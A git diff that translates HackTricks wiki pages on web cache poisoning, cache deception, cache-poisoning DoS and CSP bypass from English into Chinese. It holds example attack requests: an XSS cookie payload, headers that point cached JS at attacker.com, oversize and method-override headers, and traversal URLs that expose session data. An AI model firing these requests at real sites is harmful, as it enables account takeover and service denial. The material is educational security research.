a page. If you can abuse it to cause a XSS for example, you could be able to exploit XSS in several clients that load the malicious cache response. +### 使用网络缓存中毒来利用 cookie 处理漏洞 +Cookies 也可能在页面的响应中被反射。如果你能利用它造成 XSS，例如，你可能能够在加载恶意缓存响应的多个客户端中利用 XSS。 ```markup GET / HTTP/1.1 Host: vulnerable.com Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b" ``` +注意，如果易受攻击的 cookie 被用户频繁使用，常规请求将清除缓存。 -Note that if the vulnerable cookie is very used by the users, regular requests will be cleaning the cache. +### 使用分隔符、规范化和点生成差异 -### Generating discrepancies with delimiters, normalization and dots - -Check: +检查： {{#ref}} cache-poisoning-via-url-discrepancies.md {{#endref}} -### Cache poisoning with path traversal to steal API key +### 通过路径遍历进行缓存污染以窃取 API 密钥 -[**This writeup explains**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) how it was possible to steal an OpenAI API key with an URL like `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` because anything matching `/share/*` will be cached without Cloudflare normalising the URL, which was done when the request reached the web server. +[**这篇文章解释了**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) 如何通过类似 `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` 的 URL 窃取 OpenAI API 密钥，因为任何匹配 `/share/*` 的内容都会被缓存，而 Cloudflare 在请求到达 web 服务器时并未对 URL 进行规范化。 -This is also explained better in: +这在以下内容中也有更好的解释： {{#ref}} cache-poisoning-via-url-discrepancies.md {{#endref}} -### Using multiple headers to exploit web cache poisoning vulnerabilities - -Sometimes you will need to **exploit several unkeyed inputs** to be able to abuse a cache. For example, you may find an **Open redirect** if you set `X-Forwarded-Host` to a domain controlled by you and `X-Forwarded-Scheme` to `http`.**If** the **server** is **forwarding** all the **HTTP** requests **to HTTPS** and using the header `X-Forwarded-Scheme` as the domain name for the redirect. You can control where the page is pointed by the redirect. +### 使用多个头部利用 web 缓存污染漏洞 +有时您需要 **利用多个未键入的输入** 来滥用缓存。例如，如果您将 `X-Forwarded-Host` 设置为您控制的域名，并将 `X-Forwarded-Scheme` 设置为 `http`，您可能会发现一个 **开放重定向**。**如果** 服务器 **将** 所有 **HTTP** 请求 **转发** 到 **HTTPS** 并使用头部 `X-Forwarded-Scheme` 作为重定向的域名。您可以控制重定向指向的页面。 ```markup GET /resources/js/tracking.js HTTP/1.1 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/ X-Forwarded-Scheme: http ``` +### 利用有限的 `Vary` 头 -### Exploiting with limited `Vary`header - -If you found that the **`X-Host`** header is being used as **domain name to load a JS resource** but the **`Vary`** header in the response is indicating **`User-Agent`**. Then, you need to find a way to exfiltrate the User-Agent of the victim and poison the cache using that user agent: - +如果你发现 **`X-Host`** 头被用作 **加载 JS 资源的域名**，但响应中的 **`Vary`** 头指示 **`User-Agent`**。那么，你需要找到一种方法来提取受害者的 User-Agent 并使用该用户代理来污染缓存： ```markup GET / HTTP/1.1 Host: vulnerbale.net User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM X-Host: attacker.com ``` - ### Fat Get -Send a GET request with the request in the URL and in the body. If the web server uses the one from the body but the cache server caches the one from the URL, anyone accessing that URL will actually use the parameter from the body. Like the vuln James Kettle found at the Github website: - +发送一个带有请求的GET请求，URL和请求体中都包含该请求。如果web服务器使用请求体中的内容，但缓存服务器缓存的是URL中的内容，那么任何访问该URL的人实际上将使用请求体中的参数。就像James Kettle在Github网站上发现的漏洞： ``` GET /contact/report-abuse?report=albinowax HTTP/1.1 Host: github.com @@ -153,91 +142,90 @@ Content-Length: 22 report=innocent-victim ``` +有一个关于此的portswigger实验室：[https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get) -There it a portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get) +### 参数伪装 -### Parameter Cloacking +例如，在ruby服务器中，可以使用字符**`;`**而不是**`&`**来分隔**参数**。这可以用来将无键参数值放入有键参数中并进行滥用。 -For example it's possible to separate **parameters** in ruby servers using the char **`;`** instead of **`&`**. This could be used to put unkeyed parameters values inside keyed ones and abuse them. +Portswigger实验室：[https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking) -Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking) +### 通过滥用HTTP请求走私来利用HTTP缓存中毒 -### Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling +在这里了解如何通过滥用[HTTP请求走私进行缓存中毒攻击](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning)。 -Learn here about how to perform [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning). +### Web缓存中毒的自动化测试 -### Automated testing for Web Cache Poisoning +[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner)可以用于自动测试Web缓存中毒。它支持多种不同的技术，并且高度可定制。 -The [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) can be used to automatically test for web cache poisoning. It supports many different techniques and is highly customizable. +示例用法：`wcvs -u example.com` -Example usage: `wcvs -u example.com` - -## Vulnerable Examples +## 漏洞示例 ### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577)) -ATS forwarded the fragment inside the URL without stripping it and generated the cache key only using the host, path and query (ignoring the fragment). So the request `/#/../?r=javascript:alert(1)` was sent to the backend as `/#/../?r=javascript:alert(1)` and the cache key didn't have the payload inside of it, only host, path and query. +ATS在不剥离URL中的片段的情况下转发了片段，并仅使用主机、路径和查询生成缓存键（忽略片段）。因此，请求`/#/../?r=javascript:alert(1)`被发送到后端，作为`/#/../?r=javascript:alert(1)`，而缓存键中没有有效负载，只有主机、路径和查询。 ### GitHub CP-DoS -Sending a bad value in the content-type header triggered a 405 cached response. The cache key contained the cookie so it was possible only to attack unauth users. +在content-type头中发送错误值触发了405缓存响应。缓存键包含cookie，因此只能攻击未授权用户。 ### GitLab + GCP CP-DoS -GitLab uses GCP buckets to store static content. **GCP Buckets** support the **header `x-http-method-override`**. So it was possible to send the header `x-http-method-override: HEAD` and poison the cache into returning an empty response body. It could also support the method `PURGE`. +GitLab使用GCP存储桶来存储静态内容。**GCP存储桶**支持**头部`x-http-method-override`**。因此，可以发送头部`x-http-method-override: HEAD`并使缓存返回空响应体。它还可以支持`PURGE`方法。 -### Rack Middleware (Ruby on Rails) +### Rack中间件（Ruby on Rails） -In Ruby on Rails applications, Rack middleware is often utilized. The purpose of the Rack code is to take the value of the **`x-forwarded-scheme`** header and set it as the request's scheme. When the header `x-forwarded-scheme: http` is sent, a 301 redirect to the same location occurs, potentially causing a Denial of Service (DoS) to that resource. Additionally, the application might acknowledge the `X-forwarded-host` header and redirect users to the specified host. This behavior can lead to the loading of JavaScript files from an attacker's server, posing a security risk. +在Ruby on Rails应用程序中，通常使用Rack中间件。Rack代码的目的是获取**`x-forwarded-scheme`**头的值并将其设置为请求的方案。当发送头`x-forwarded-scheme: http`时，会发生301重定向到相同位置，可能导致该资源的拒绝服务（DoS）。此外，应用程序可能会识别`X-forwarded-host`头并将用户重定向到指定主机。这种行为可能导致从攻击者的服务器加载JavaScript文件，构成安全风险。 -### 403 and Storage Buckets +### 403和存储桶 -Cloudflare previously cached 403 responses. Attempting to access S3 or Azure Storage Blobs with incorrect Authorization headers would result in a 403 response that got cached. Although Cloudflare has stopped caching 403 responses, this behavior might still be present in other proxy services. +Cloudflare之前缓存了403响应。尝试使用不正确的授权头访问S3或Azure存储Blob将导致403响应被缓存。尽管Cloudflare已停止缓存403响应，但这种行为可能仍然存在于其他代理服务中。 -### Injecting Keyed Parameters +### 注入键参数 -Caches often include specific GET parameters in the cache key. For instance, Fastly's Varnish cached the `size` parameter in requests. However, if a URL-encoded version of the parameter (e.g., `siz%65`) was also sent with an erroneous value, the cache key would be constructed using the correct `size` parameter. Yet, the backend would process the value in the URL-encoded parameter. URL-encoding the second `size` parameter led to its omission by the cache but its utilization by the backend. Assigning a value of 0 to this parameter resulted in a cacheable 400 Bad Request error. +缓存通常在缓存键中包含特定的GET参数。例如，Fastly的Varnish在请求中缓存了`size`参数。然而，如果还发送了一个带有错误值的参数的URL编码版本（例如，`siz%65`），缓存键将使用正确的`size`参数构建。然而，后端将处理URL编码参数中的值。对第二个`size`参数进行URL编码导致缓存省略它，但后端使用了它。将该参数的值设置为0导致可缓存的400错误请求。 -### User Agent Rules +### 用户代理规则 -Some developers block requests with user-agents matching those of high-traffic tools like FFUF or Nuclei to manage server load. Ironically, this approach can introduce vulnerabilities such as cache poisoning and DoS. +一些开发人员阻止与高流量工具（如FFUF或Nuclei）匹配的用户代理的请求，以管理服务器负载。讽刺的是，这种方法可能引入漏洞，例如缓存中毒和DoS。 -### Illegal Header Fields +### 非法头字段 -The [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) specifies the acceptable characters in header names. Headers containing characters outside of the specified **tchar** range should ideally trigger a 400 Bad Request response. In practice, servers don't always adhere to this standard. A notable example is Akamai, which forwards headers with invalid characters and caches any 400 error, as long as the `cache-control` header is not present. An exploitable pattern was identified where sending a header with an illegal character, such as `\`, would result in a cacheable 400 Bad Request error. +[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230)规定了头名称中可接受的字符。包含超出指定**tchar**范围的字符的头理想情况下应触发400错误请求响应。在实践中，服务器并不总是遵循此标准。一个显著的例子是Akamai，它转发包含无效字符的头，并缓存任何400错误，只要`cache-control`头不存在。发现了一种可利用的模式，发送带有非法字符（如`\`）的头将导致可缓存的400错误请求。 -### Finding new headers +### 查找新头 [https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6) -## Cache Deception +## 缓存欺骗 -The goal of Cache Deception is to make clients **load resources that are going to be saved by the cache with their sensitive information**. +缓存欺骗的目标是使客户端**加载将被缓存保存的敏感信息的资源**。 -First of all note that **extensions** such as `.css`, `.js`, `.png` etc are usually **configured** to be **saved** in the **cache.** Therefore, if you access `www.example.com/profile.php/nonexistent.js` the cache will probably store the response because it sees the `.js` **extension**. But, if the **application** is **replaying** with the **sensitive** user contents stored in _www.example.com/profile.php_, you can **steal** those contents from other users. +首先要注意的是，**扩展名**如`.css`、`.js`、`.png`等通常被**配置**为**保存**在**缓存**中。因此，如果您访问`www.example.com/profile.php/nonexistent.js`，缓存可能会存储响应，因为它看到`.js`**扩展名**。但是，如果**应用程序**正在**重放**存储在_www.example.com/profile.php_中的**敏感**用户内容，您可以从其他用户那里**窃取**这些内容。 -Other things to test: +其他测试内容： - _www.example.com/profile.php/.js_ - _www.example.com/profile.php/.css_ - _www.example.com/profile.php/test.js_ - _www.example.com/profile.php/../test.js_ - _www.example.com/profile.php/%2e%2e/test.js_ -- _Use lesser known extensions such as_ `.avif` +- _使用不太常见的扩展名，如_`.avif` -Another very clear example can be found in this write-up: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\ -In the example, it is explained that if you load a non-existent page like _http://www.example.com/home.php/non-existent.css_ the content of _http://www.example.com/home.php_ (**with the user's sensitive information**) is going to be returned and the cache server is going to save the result.\ -Then, the **attacker** can access _http://www.example.com/home.php/non-existent.css_ in their own browser and observe the **confidential information** of the users that accessed before. +另一个非常清晰的例子可以在这篇文章中找到：[https://hackerone.com/reports/593712](https://hackerone.com/reports/593712)。\ +在这个例子中，解释了如果您加载一个不存在的页面，如_http://www.example.com/home.php/non-existent.css_，将返回_http://www.example.com/home.php_（**带有用户的敏感信息**）的内容，并且缓存服务器将保存结果。\ +然后，**攻击者**可以在自己的浏览器中访问_http://www.example.com/home.php/non-existent.css_并观察之前访问过的用户的**机密信息**。 -Note that the **cache proxy** should be **configured** to **cache** files **based** on the **extension** of the file (_.css_) and not base on the content-type. In the example _http://www.example.com/home.php/non-existent.css_ will have a `text/html` content-type instead of a `text/css` mime type (which is the expected for a _.css_ file). +请注意，**缓存代理**应被**配置**为根据文件的**扩展名**（_.css_）而不是根据内容类型来**缓存**文件。在示例_http://www.example.com/home.php/non-existent.css_中，将具有`text/html`内容类型，而不是`text/css` MIME类型（这是_.css_文件的预期）。 -Learn here about how to perform[ Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception). +在这里了解如何通过滥用HTTP请求走私进行[缓存欺骗攻击](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception)。 -## Automatic Tools +## 自动化工具 -- [**toxicache**](https://github.com/xhzeem/toxicache): Golang scanner to find web cache poisoning vulnerabilities in a list of URLs and test multiple injection techniques. +- [**toxicache**](https://github.com/xhzeem/toxicache)：Golang扫描器，用于在URL列表中查找Web缓存中毒漏洞并测试多种注入技术。 -## References +## 参考文献 - [https://portswigger.net/web-security/web-cache-poisoning](https://portswigger.net/web-security/web-cache-poisoning) - [https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities](https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities) @@ -249,10 +237,9 @@ Learn here about how to perform[ Cache Deceptions attacks abusing HTTP Request S
\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +使用[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception)轻松构建和**自动化工作流**，由世界上**最先进**的社区工具提供支持。\ +今天获取访问权限： {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %} {{#include ../../banners/hacktricks-training.md}} - diff --git a/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md b/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md index 9002e1464..fe24097cd 100644 --- a/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md +++ b/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md @@ -3,42 +3,35 @@ {{#include ../../banners/hacktricks-training.md}} > [!CAUTION] -> In this page you can find different variations to try to make the **web server respond with errors** to requests that are **valid for the cache servers** +> 在此页面中，您可以找到不同的变体，以尝试使 **web 服务器对有效的缓存服务器请求** 返回错误 - **HTTP Header Oversize (HHO)** -Send a request with a header size larger than the one supported by the web server but smaller than the one supported by the cache server. The web server will respond with a 400 response which might be cached: - +发送一个头部大小大于 web 服务器支持的大小，但小于缓存服务器支持的大小的请求。web 服务器将返回一个 400 响应，该响应可能会被缓存： ``` GET / HTTP/1.1 Host: redacted.com X-Oversize-Hedear:Big-Value-000000000000000 ``` - - **HTTP Meta Character (HMC) & Unexpected values** -Send a header that contain some **harmfull meta characters** such as and . In order the attack to work you must bypass the cache first. - +发送一个包含一些**有害元字符**的头，例如和。在攻击生效之前，您必须先绕过缓存。 ``` GET / HTTP/1.1 Host: redacted.com X-Meta-Hedear:Bad Chars\n \r ``` +一个配置不当的头部可能仅仅是 `\:` 作为头部。 -A badly configured header could be just `\:` as a header. - -This could also work if unexpected values are sent, like an unexpected Content-Type: - +如果发送了意外的值，例如意外的 Content-Type:，这也可能有效。 ``` GET /anas/repos HTTP/2 Host: redacted.com Content-Type: HelloWorld ``` +- **无密钥头** -- **Unkeyed header** - -Some websites will return an error status code if they **see some specific headers i**n the request like with the _X-Amz-Website-Location-Redirect: someThing_ header: - +一些网站会在请求中看到某些特定的头时返回错误状态代码，例如带有 _X-Amz-Website-Location-Redirect: someThing_ 头的请求： ``` GET /app.js HTTP/2 Host: redacted.com @@ -49,21 +42,17 @@ Cache: hit Invalid Header ``` +- **HTTP 方法覆盖攻击 (HMO)** -- **HTTP Method Override Attack (HMO)** - -If the server supports changing the HTTP method with headers such as `X-HTTP-Method-Override`, `X-HTTP-Method` or `X-Method-Override`. It's possible to request a valid page changing the method so the server doesn't supports it so a bad response gets cached: - +如果服务器支持使用诸如 `X-HTTP-Method-Override`、`X-HTTP-Method` 或 `X-Method-Override` 的头部更改 HTTP 方法。可以通过更改方法请求有效页面，以便服务器不支持它，从而缓存错误响应： ``` GET /blogs HTTP/1.1 Host: redacted.com HTTP-Method-Override: POST ``` +- **无键端口** -- **Unkeyed Port** - -If port in the Host header is reflected in the response and not included in the cache key, it's possible to redirect it to an unused port: - +如果主机头中的端口在响应中被反射且未包含在缓存键中，则可以将其重定向到未使用的端口： ``` GET /index.html HTTP/1.1 Host: redacted.com:1 @@ -72,11 +61,9 @@ HTTP/1.1 301 Moved Permanently Location: https://redacted.com:1/en/index.html Cache: miss ``` +- **长重定向 DoS** -- **Long Redirect DoS** - -Like in the following example, x is not being cached, so an attacker could abuse the redirect response behaviour to make the redirect send a URL so big that it returns an error. Then, people trying to access the URL without the uncached x key will get the error response: - +如以下示例所示，x 没有被缓存，因此攻击者可以利用重定向响应行为，使重定向发送一个如此大的 URL 以至于返回错误。然后，试图访问没有未缓存的 x 键的 URL 的人将收到错误响应： ``` GET /login?x=veryLongUrl HTTP/1.1 Host: www.cloudflare.com @@ -91,11 +78,9 @@ Host: www.cloudflare.com HTTP/1.1 414 Request-URI Too Large CF-Cache-Status: miss ``` +- **主机头部大小写规范化** -- **Host header case normalization** - -The host header should be case insensitive but some websites expect it to be lowercase returning an error if it's not: - +主机头部应该是不区分大小写的，但有些网站期望它是小写的，如果不是则会返回错误： ``` GET /img.png HTTP/1.1 Host: Cdn.redacted.com @@ -105,11 +90,9 @@ Cache:miss Not Found ``` +- **路径规范化** -- **Path normalization** - -Some pages will return error codes sending data URLencode in the path, however, the cache server with URLdecode the path and store the response for the URLdecoded path: - +某些页面在路径中发送数据 URLencode 时会返回错误代码，但缓存服务器会对路径进行 URLdecode 并存储 URLdecoded 路径的响应： ``` GET /api/v1%2e1/user HTTP/1.1 Host: redacted.com @@ -120,11 +103,9 @@ Cach:miss Not Found ``` - - **Fat Get** -Some cache servers, like Cloudflare, or web servers, stops GET requests with a body, so this could be abused to cache a invalid response: - +一些缓存服务器，如 Cloudflare，或 web 服务器，停止带有主体的 GET 请求，因此这可能被滥用来缓存无效响应： ``` GET /index.html HTTP/2 Host: redacted.com @@ -136,11 +117,9 @@ xyz HTTP/2 403 Forbidden Cache: hit ``` - -## References +## 参考文献 - [https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52](https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52) - [https://youst.in/posts/cache-poisoning-at-scale/?source=post_page-----3a829f221f52--------------------------------](https://youst.in/posts/cache-poisoning-at-scale/?source=post_page-----3a829f221f52--------------------------------) {{#include ../../banners/hacktricks-training.md}} - diff --git a/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md b/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md index a3b1464f1..f214c3946 100644 --- a/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md +++ b/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md @@ -2,52 +2,51 @@ {{#include ../../banners/hacktricks-training.md}} -This is a summary of the techniques proposed in the post [https://portswigger.net/research/gotta-cache-em-all](https://portswigger.net/research/gotta-cache-em-all) in order to perform cache poisoning attacks **abusing discrepancies between cache proxies and web servers.** +这是对帖子中提出的技术的总结 [https://portswigger.net/research/gotta-cache-em-all](https://portswigger.net/research/gotta-cache-em-all)，目的是执行缓存中毒攻击 **利用缓存代理和Web服务器之间的差异。** > [!NOTE] -> The goal of this attack is to **make the cache server think that a static resource is being loaded** so it caches it while the cache server stores as cache key part of the path but the web server responds resolving another path. The web server will resolve the real path which will be loading a dynamic page (which might store sensitive information about the user, a malicious payload like XSS or redirecting to lo load a JS file from the attackers website for example). +> 此攻击的目标是 **让缓存服务器认为正在加载静态资源**，因此它会缓存该资源，而缓存服务器将路径的一部分存储为缓存键，但Web服务器响应解析另一个路径。Web服务器将解析实际路径，这将加载一个动态页面（可能存储有关用户的敏感信息、恶意负载如XSS，或重定向以从攻击者网站加载JS文件等）。 ## Delimiters -**URL delimiters** vary by framework and server, impacting how requests are routed and responses are handled. Some common origin delimiters are: +**URL分隔符**因框架和服务器而异，影响请求的路由和响应的处理。一些常见的源分隔符包括： -- **Semicolon**: Used in Spring for matrix variables (e.g. `/hello;var=a/world;var1=b;var2=c` → `/hello/world`). -- **Dot**: Specifies response format in Ruby on Rails (e.g. `/MyAccount.css` → `/MyAccount`) -- **Null Byte**: Truncates paths in OpenLiteSpeed (e.g. `/MyAccount%00aaa` → `/MyAccount`). -- **Newline Byte**: Separates URL components in Nginx (e.g. `/users/MyAccount%0aaaa` → `/account/MyAccount`). +- **分号**：在Spring中用于矩阵变量（例如 `/hello;var=a/world;var1=b;var2=c` → `/hello/world`）。 +- **点**：在Ruby on Rails中指定响应格式（例如 `/MyAccount.css` → `/MyAccount`）。 +- **空字节**：在OpenLiteSpeed中截断路径（例如 `/MyAccount%00aaa` → `/MyAccount`）。 +- **换行字节**：在Nginx中分隔URL组件（例如 `/users/MyAccount%0aaaa` → `/account/MyAccount`）。 -Other specific delimiters might be found following this process: +在此过程中可能会发现其他特定的分隔符： -- **Step 1**: Identify non-cacheable requests and use them to monitor how URLs with potential delimiters are handled. -- **Step 2**: Append random suffixes to paths and compare the server's response to determine if a character functions as a delimiter. -- **Step 3**: Introduce potential delimiters before the random suffix to see if the response changes, indicating delimiter usage. +- **步骤1**：识别不可缓存的请求，并使用它们监控潜在分隔符的URL处理方式。 +- **步骤2**：将随机后缀附加到路径，并比较服务器的响应以确定字符是否作为分隔符。 +- **步骤3**：在随机后缀之前引入潜在分隔符，以查看响应是否发生变化，指示分隔符的使用。 ## Normalization & Encodings -- **Purpose**: URL parsers in both cache and origin servers normalize URLs to extract paths for endpoint mapping and cache keys. -- **Process**: Identifies path delimiters, extracts and normalizes the path by decoding characters and removing dot-segments. +- **目的**：缓存和源服务器中的URL解析器规范化URL，以提取路径以进行端点映射和缓存键。 +- **过程**：识别路径分隔符，通过解码字符和删除点段提取并规范化路径。 ### **Encodings** -Different HTTP servers and proxies like Nginx, Node, and CloudFront decode delimiters differently, leading to inconsistencies across CDNs and origin servers that could be exploited. For example, if the web server perform this transformation `/myAccount%3Fparam` → `/myAccount?param` but the cache server keeps as key the path `/myAccount%3Fparam`, there is an inconsistency. +不同的HTTP服务器和代理（如Nginx、Node和CloudFront）以不同方式解码分隔符，导致CDN和源服务器之间的不一致，这可能被利用。例如，如果Web服务器执行此转换 `/myAccount%3Fparam` → `/myAccount?param`，但缓存服务器将路径 `/myAccount%3Fparam` 作为键保留，则存在不一致。 -A way to check for these inconsistencies is to send requests URL encoding different chars after loading the path without any encoding and check if the encoded path response came from the cached response. +检查这些不一致的一种方法是发送请求，URL编码不同的字符，在加载路径而不进行任何编码后，检查编码路径的响应是否来自缓存响应。 ### Dot segment -The path normalization where dots are involved is also very interesting for cache poisoning attacks. For example, `/static/../home/index` or `/aaa..\home/index`, some cache servers will cache these paths with themselves ad the keys while other might resolve the path and use `/home/index` as the cache key.\ -Just like before, sending these kind of requests and checking if the response was gathered from the cache helps to identify if the response to `/home/index` is the response sent when those paths are requested. +涉及点的路径规范化对于缓存中毒攻击也非常有趣。例如，`/static/../home/index` 或 `/aaa..\home/index`，一些缓存服务器将这些路径缓存为它们自己作为键，而其他服务器可能解析路径并使用 `/home/index` 作为缓存键。\ +就像之前一样，发送这些请求并检查响应是否来自缓存有助于识别对 `/home/index` 的响应是否是请求这些路径时发送的响应。 ## Static Resources -Several cache servers will always cache a response if it's identified as static. This might be because: +如果响应被识别为静态，多个缓存服务器将始终缓存该响应。这可能是因为： -- **The extension**: Cloudflare will always cache files with the following extensions: 7z, csv, gif, midi, png, tif, zip, avi, doc, gz, mkv, ppt, tiff, zst, avif, docx, ico, mp3, pptx, ttf, apk, dmg, iso, mp4, ps, webm, bin, ejs, jar, ogg, rar, webp, bmp, eot, jpg, otf, svg, woff, bz2, eps, jpeg, pdf, svgz, woff2, class, exe, js, pict, swf, xls, css, flac, mid, pls, tar, xlsx - - It's possible to force a cache storing a dynamic response by using a delimiter and a static extension like a request to `/home$image.png` will cache `/home$image.png` and the origin server will respond with `/home` -- **Well-known static directories**: The following directories contains static files and therefore their response should be cached: /static, /assets, /wp-content, /media, /templates, /public, /shared - - It's possible to force a cache storing a dynamic response by using a delimiter, a static directory and dots like: `/home/..%2fstatic/something` will cache `/static/something` and the response will be`/home` - - **Static dirs + dots**: A request to `/static/..%2Fhome` or to `/static/..%5Chome` might be cached as is but the response might be `/home` -- **Static files:** Some specific files are always cached like `/robots.txt`, `/favicon.ico`, and `/index.html`. Which can be abused like `/home/..%2Frobots.txt` where the cace might store `/robots.txt` and the origin server respond to `/home`. +- **扩展名**：Cloudflare将始终缓存以下扩展名的文件：7z, csv, gif, midi, png, tif, zip, avi, doc, gz, mkv, ppt, tiff, zst, avif, docx, ico, mp3, pptx, ttf, apk, dmg, iso, mp4, ps, webm, bin, ejs, jar, ogg, rar, webp, bmp, eot, jpg, otf, svg, woff, bz2, eps, jpeg, pdf, svgz, woff2, class, exe, js, pict, swf, xls, css, flac, mid, pls, tar, xlsx +- 可以通过使用分隔符和静态扩展强制缓存存储动态响应，例如请求 `/home$image.png` 将缓存 `/home$image.png`，而源服务器将响应 `/home` +- **知名静态目录**：以下目录包含静态文件，因此其响应应被缓存：/static, /assets, /wp-content, /media, /templates, /public, /shared +- 可以通过使用分隔符、静态目录和点强制缓存存储动态响应，例如：`/home/..%2fstatic/something` 将缓存 `/static/something`，而响应将是 `/home` +- **静态目录 + 点**：请求 `/static/..%2Fhome` 或 `/static/..%5Chome` 可能会按原样缓存，但响应可能是 `/home` +- **静态文件**：一些特定文件始终被缓存，如 `/robots.txt`、`/favicon.ico` 和 `/index.html`。这可以被滥用，例如 `/home/..%2Frobots.txt`，其中缓存可能存储 `/robots.txt`，而源服务器响应 `/home`。 {{#include ../../banners/hacktricks-training.md}} - diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md index 118050c61..da6ee17b4 100644 --- a/src/pentesting-web/content-security-policy-csp-bypass/README.md +++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md @@ -1,51 +1,46 @@ -# Content Security Policy (CSP) Bypass +# 内容安全策略 (CSP) 绕过 {{#include ../../banners/hacktricks-training.md}}
-Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters! +加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器，与经验丰富的黑客和漏洞赏金猎人交流！ -**Hacking Insights**\ -Engage with content that delves into the thrill and challenges of hacking +**黑客洞察**\ +参与深入探讨黑客的刺激与挑战的内容 -**Real-Time Hack News**\ -Keep up-to-date with fast-paced hacking world through real-time news and insights +**实时黑客新闻**\ +通过实时新闻和见解，跟上快速变化的黑客世界 -**Latest Announcements**\ -Stay informed with the newest bug bounties launching and crucial platform updates +**最新公告**\ +及时了解最新的漏洞赏金计划和重要平台更新 -**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today! +**加入我们** [**Discord**](https://discord.com/invite/N3FrSbmwdy)，今天就开始与顶级黑客合作吧！ -## What is CSP +## 什么是 CSP -Content Security Policy (CSP) is recognized as a browser technology, primarily aimed at **shielding against attacks such as cross-site scripting (XSS)**. It functions by defining and detailing paths and sources from which resources can be securely loaded by the browser. These resources encompass a range of elements such as images, frames, and JavaScript. For instance, a policy might permit the loading and execution of resources from the same domain (self), including inline resources and the execution of string code through functions like `eval`, `setTimeout`, or `setInterval`. +内容安全策略 (CSP) 被认为是一种浏览器技术，主要旨在 **防御诸如跨站脚本 (XSS) 的攻击**。它通过定义和详细说明资源可以安全加载的路径和来源来运作。这些资源包括图像、框架和 JavaScript 等多种元素。例如，策略可能允许从同一域 (self) 加载和执行资源，包括内联资源以及通过 `eval`、`setTimeout` 或 `setInterval` 等函数执行字符串代码。 -Implementation of CSP is conducted through **response headers** or by incorporating **meta elements into the HTML page**. Following this policy, browsers proactively enforce these stipulations and immediately block any detected violations. - -- Implemented via response header: +CSP 的实施通过 **响应头** 或通过将 **meta 元素嵌入 HTML 页面** 来进行。遵循此政策后，浏览器会主动执行这些规定，并立即阻止任何检测到的违规行为。 +- 通过响应头实施： ``` Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self'; ``` - -- Implemented via meta tag: - +- 通过 meta 标签实现： ```xml ``` - ### Headers -CSP can be enforced or monitored using these headers: +CSP 可以通过以下头部进行强制执行或监控： -- `Content-Security-Policy`: Enforces the 